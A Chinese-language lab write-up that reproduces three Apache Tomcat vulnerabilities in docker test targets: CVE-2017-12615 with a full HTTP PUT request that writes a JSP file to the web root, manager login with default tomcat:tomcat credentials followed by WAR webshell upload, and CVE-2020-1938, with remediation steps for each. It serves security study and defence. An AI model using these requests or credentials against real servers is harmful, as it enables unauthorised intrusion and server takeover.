[中间件漏洞]tomcat漏洞复现

目录

 Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

漏洞原理 

漏洞复现

 漏洞修复

tomcat弱口令&war远程部署 

漏洞原理

漏洞复现 

 漏洞修复

Apache Tomcat文件包含漏洞(CVE-2020-1938)

漏洞复现 

漏洞修复


 Tomcat 远程代码执行漏洞(CVE-2017-12615)

漏洞描述

当 Tomcat运行在Windows操作系统时,且启用了HTTP PUT请求方法(例如,将 readonly 初始化参数 由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求数据包向服务器上传包含任意代 码的 JSP 文件,JSP文件中的恶意代码将能被服务器执行。导致服务器上的数据泄露或获取服务器权限。

漏洞原理 

 漏洞本质Tomcat配置了可写(readonly=false),导致我们可以往服务器写文件:


    default
    org.apache.catalina.servlets.DefaultServlet
    
        debug
        0
    
    
        listings
        false
    
    
        readonly
        false
    
    1

虽然Tomcat对文件后缀有一定检测(不能直接写jsp),但我们使用一些文件系统的特性(如Linux下可用`/`)来绕过了限制。
 

漏洞复现

启动靶场 

[root@server CVE-2017-12615]# docker-compose up -d    启动靶场

[root@server CVE-2017-12615]# docker-compose ps        查看端口

访问靶场页面

[中间件漏洞]tomcat漏洞复现_第1张图片

 

用bp抓包直接发送以下数据包即可在Web根目录写入shell:

PUT /1.jsp/ HTTP/1.1
Host: your-ip:8080
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 5

shell

 

[中间件漏洞]tomcat漏洞复现_第2张图片 

 

访问该文件,成功显示,也可将shell内容改为自己写的shell代码

[中间件漏洞]tomcat漏洞复现_第3张图片

 漏洞修复

设置 readonly未true


tomcat弱口令&war远程部署 

漏洞原理

在tomcat8环境下默认进入后台的密码为tomcat/tomcat,未修改造成未授权即可进入后台,或者管理员把密码设置成弱口令, 使用工具对其进行穷举。得到密码后,也可以进行后台上传恶意代码控制服务器。

漏洞复现 

启动靶场

[root@server tomcat8]# docker-compose up -d   启动靶场

[root@server tomcat8]# docker-compose ps        查看端口

打开tomcat管理页面`http://your-ip:8080/manager/html`,输入弱密码`tomcat:tomcat`,即可访问后台:

[中间件漏洞]tomcat漏洞复现_第4张图片

 制作一个木马

[中间件漏洞]tomcat漏洞复现_第5张图片

 

将它压缩成压缩包

[中间件漏洞]tomcat漏洞复现_第6张图片

 

将后缀名改为war

[中间件漏洞]tomcat漏洞复现_第7张图片 

 

 

 找到上传入口上传war文件

 可以看到上传成功

 

 用蚁剑链接成功[中间件漏洞]tomcat漏洞复现_第8张图片

 

 漏洞修复

1.在conf/tomcat-users.xml下设置强口令

2.删除manger文件

 


Apache Tomcat文件包含漏洞(CVE-2020-1938)

Tomcat是Apache开源组织开发的用于处理HTTP服务的项目,两者都是免费的,都可以做为独立的 Web服务器运行。Apache Tomcat服务器存在文件包含漏洞,攻击者可利用该漏洞读取或包含 Tomcat 上所有 webapp 目录下的任意文件,如:webapp 配置文件或源代码等。

影响版本

Apache Tomcat 6

Tomcat 7系列 <7.0.100

Tomcat 8系列 < 8.5.51

Tomcat 9 系列 <9.0.31

漏洞复现 

[root@server CVE-2020-1938]# docker-compose up -d        启动靶场



[root@server CVE-2020-1938]# docker-compose ps            查看端口

通过nmap查看8009和8080端口是否开放

[中间件漏洞]tomcat漏洞复现_第9张图片

在kali上下载poc代码验证

 [中间件漏洞]tomcat漏洞复现_第10张图片

 

漏洞修复

1.更新到安全版本

2.关闭AJP服务

3.配置ajp配置中的secretRequired跟secret属性来限制认证

你可能感兴趣的:(安全,tomcat,中间件,java,安全)